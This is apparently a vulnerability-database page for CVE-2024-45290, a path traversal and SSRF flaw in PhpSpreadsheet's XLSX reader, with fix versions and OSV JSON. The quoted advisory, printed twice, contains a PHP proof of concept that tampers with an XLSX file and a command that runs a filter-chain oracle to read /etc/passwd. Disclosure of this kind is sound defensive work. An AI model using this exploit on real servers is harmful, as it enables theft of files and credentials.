CVE-2024-45290: Phpoffice/phpspreadsheet Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-5gpr-w2p5-6m37
CVSS 7.7
CWE-36 CWE-918
Published
Advisory Summary

CVE-2024-45290 is a HIGH (CVSS 7.7) path traversal vulnerability (CWE-36: Absolute Path Traversal) affecting Phpoffice/phpspreadsheet libraries in the Packagist ecosystem. The issue involves phpspreadsheet allows absolute path traversal and server-side request forgery when opening xlsx file. Remediation is available by upgrading affected packages to version 2.3.0, 1.29.2, 2.1.1.

CVE-2024-45290 at a Glance

CVE Identifier CVE-2024-45290
GHSA Identifier GHSA-5gpr-w2p5-6m37
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-36: Absolute Path Traversal
Affected Product Phpoffice/phpspreadsheet
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2024-45290

To remediate this vulnerability, upgrade all affected Phpoffice/phpspreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpoffice/phpspreadsheet fixed: 2.3.0
Upgrade phpoffice/phpspreadsheet to 2.3.0
phpoffice/phpspreadsheet fixed: 1.29.2
Upgrade phpoffice/phpspreadsheet to 1.29.2
phpoffice/phpspreadsheet fixed: 2.1.1
Upgrade phpoffice/phpspreadsheet to 2.1.1
phpoffice/phpexcel fixed: Latest secure release
Upgrade phpoffice/phpexcel to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpoffice/phpspreadsheet

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-45290, inspect your project dependencies for Phpoffice/phpspreadsheet:

inspect dependencies for phpoffice/phpspreadsheet

Analyze the terminal output to locate any version of Phpoffice/phpspreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-36: Absolute Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory. In Phpoffice/phpspreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL. Note that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4), and resides in a different component. ### Details When an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl/drawings/_rels/drawing1.xml.rels` file in the XLSX archive: ```php if (isset($images[$embedImageKey])) { // ...omit irrelevant code... } else { $linkImageKey = (string) self::getArrayItem( $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'), 'link' ); if (isset($images[$linkImageKey])) { $url = str_replace('xl/drawings/', '', $images[$linkImageKey]); $objDrawing->setPath($url); } } ``` `setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL: ```php public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static { if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) { // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979 if (filter_var($path, FILTER_VALIDATE_URL)) { $this->path = $path; // Implicit that it is a URL, rather store info than running check above on value in other places. $this->isUrl = true; $imageContents = file_get_contents($path); // ... check dimensions etc. ... ``` It's important to note here, that `filter_var` considers also `file://` and `php://` URLs valid. The attacker can set the path to anything: ```xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="this can be whatever" /> ``` The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an [error oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit ### PoC Target file: ```php <?php require 'vendor/autoload.php'; // Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to // keep the PoC simple, I've combined this into the same file. $file = "book_tampered.xlsx"; $payload = $_POST["payload"]; // the payload comes from the Python script copy("book.xlsx",$file); $zip = new ZipArchive; $zip->open($file); $path = "xl/drawings/_rels/drawing1.xml.rels"; $content = $zip->getFromName($path); $content = str_replace("../media/image1.gif", $payload, $content); $zip->addFromString($path, $content); $path = "xl/drawings/drawing1.xml"; $content = $zip->getFromName($path); $content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content); $zip->addFromString($path, $content); $zip->close(); // The actual target - note that simply opening the file is sufficient for the attack $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(__DIR__ . '/' . $file); ``` Add this file in the same directory: [book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213296/book.xlsx) Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below. Download the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with `pip`. Then run the Python script with: ``` python3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd ``` Note that the attack relies on certain character encodings being supported by the system's `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux. Here's the results I got after about a minute of bruteforcing: ![image](https://github.com/PHPOffice/PhpSpreadsheet/assets/1294941/06cbaf62-1001-481f-bbcd-d818a61896c4) ### Impact An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.

CVE-2024-45290 Affected Phpoffice/phpspreadsheet Versions

4 component(s)
Fixed Versions:
2.3.01.29.22.1.1
Product / Package Ecosystem Affected Versions Fixed Version
phpoffice/phpspreadsheet
Packagist
≥ 2.2.0
< 2.3.0
2.3.0
phpoffice/phpspreadsheet
Packagist
< 1.29.2
1.29.2
phpoffice/phpspreadsheet
Packagist
≥ 2.0.0
< 2.1.1
2.1.1
phpoffice/phpexcel
Packagist
≤ 1.8.2

References

Frequently Asked Questions

What is CVE-2024-45290?
CVE-2024-45290 is a security vulnerability in Phpoffice/phpspreadsheet involving PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file under CWE-36: Absolute Path Traversal.
Which Phpoffice/phpspreadsheet versions are affected?
Affected versions include releases prior to 2.3.0, 1.29.2, 2.1.1 across affected packages: phpoffice/phpspreadsheet, phpoffice/phpexcel.
What version fixes CVE-2024-45290?
Upgrading to 2.3.0, 1.29.2, 2.1.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpoffice/phpspreadsheet affected?
Yes, phpoffice/phpspreadsheet is affected in releases prior to 2.3.0, 1.29.2, 2.1.1. Upgrade your dependency to 2.3.0, 1.29.2, 2.1.1 or later.
Is phpoffice/phpexcel affected?
Yes, phpoffice/phpexcel is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2024-45290?
CVE-2024-45290 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2024-45290?
CVE-2024-45290 is classified under CWE-36: Absolute Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.).
How can I check Packagist dependencies for CVE-2024-45290?
Run the dependency tree command: 'inspect dependencies for phpoffice/phpspreadsheet'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5gpr-w2p5-6m37",
  "modified" : "2025-03-06T18:12:43Z",
  "published" : "2024-10-07T15:57:38Z",
  "aliases" : [ "CVE-2024-45290" ],
  "summary" : "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file",
  "details" : "### Summary\n\nIt's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL.\n\nNote that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4), and resides in a different component.\n\n### Details\n\nWhen an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl/drawings/_rels/drawing1.xml.rels` file in the XLSX archive:\n\n```php\nif (isset($images[$embedImageKey])) {\n    // ...omit irrelevant code...\n} else {\n    $linkImageKey = (string) self::getArrayItem(\n        $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),\n        'link'\n    );\n    if (isset($images[$linkImageKey])) {\n        $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);\n        $objDrawing->setPath($url);\n    }\n}\n```\n\n`setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL:\n\n```php\npublic function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static\n{\n    if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {\n        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979\n        if (filter_var($path, FILTER_VALIDATE_URL)) {\n            $this->path = $path;\n            // Implicit that it is a URL, rather store info than running check above on value in other places.\n            $this->isUrl = true;\n            $imageContents = file_get_contents($path);\n            // ... check dimensions etc. ...\n```\n\nIt's important to note here, that `filter_var` considers also `file://` and `php://` URLs valid.\n\nThe attacker can set the path to anything:\n\n```xml\n<Relationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"this can be whatever\" />\n```\n\nThe contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an [error oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit\n\n### PoC\n\nTarget file:\n\n```php\n<?php\n\nrequire 'vendor/autoload.php';\n\n// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to\n// keep the PoC simple, I've combined this into the same file.\n\n$file = \"book_tampered.xlsx\";\n$payload = $_POST[\"payload\"]; // the payload comes from the Python script\n\ncopy(\"book.xlsx\",$file);\n$zip = new ZipArchive;\n$zip->open($file);\n\n$path = \"xl/drawings/_rels/drawing1.xml.rels\";\n$content = $zip->getFromName($path);\n$content = str_replace(\"../media/image1.gif\", $payload, $content);\n$zip->addFromString($path, $content);\n\n$path = \"xl/drawings/drawing1.xml\";\n$content = $zip->getFromName($path);\n$content = str_replace('r:embed=\"rId1\"', 'r:link=\"rId1\"', $content);\n$zip->addFromString($path, $content);\n\n$zip->close();\n\n// The actual target - note that simply opening the file is sufficient for the attack\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader->load(__DIR__ . '/' . $file);\n\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213296/book.xlsx)\n\nServe the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.\n\nDownload the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with `pip`.\n\nThen run the Python script with:\n```\npython3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd\n```\n\nNote that the attack relies on certain character encodings being supported by the system's `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.\n\nHere's the results I got after about a minute of bruteforcing:\n\n![image](https://github.com/PHPOffice/PhpSpreadsheet/assets/1294941/06cbaf62-1001-481f-bbcd-d818a61896c4)\n\n### Impact\n\nAn attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.3.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.29.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpexcel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.8.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-5gpr-w2p5-6m37"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-45290"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-36", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-10-07T15:57:38Z",
    "nvd_published_at" : "2024-10-07T21:15:17Z"
  }
}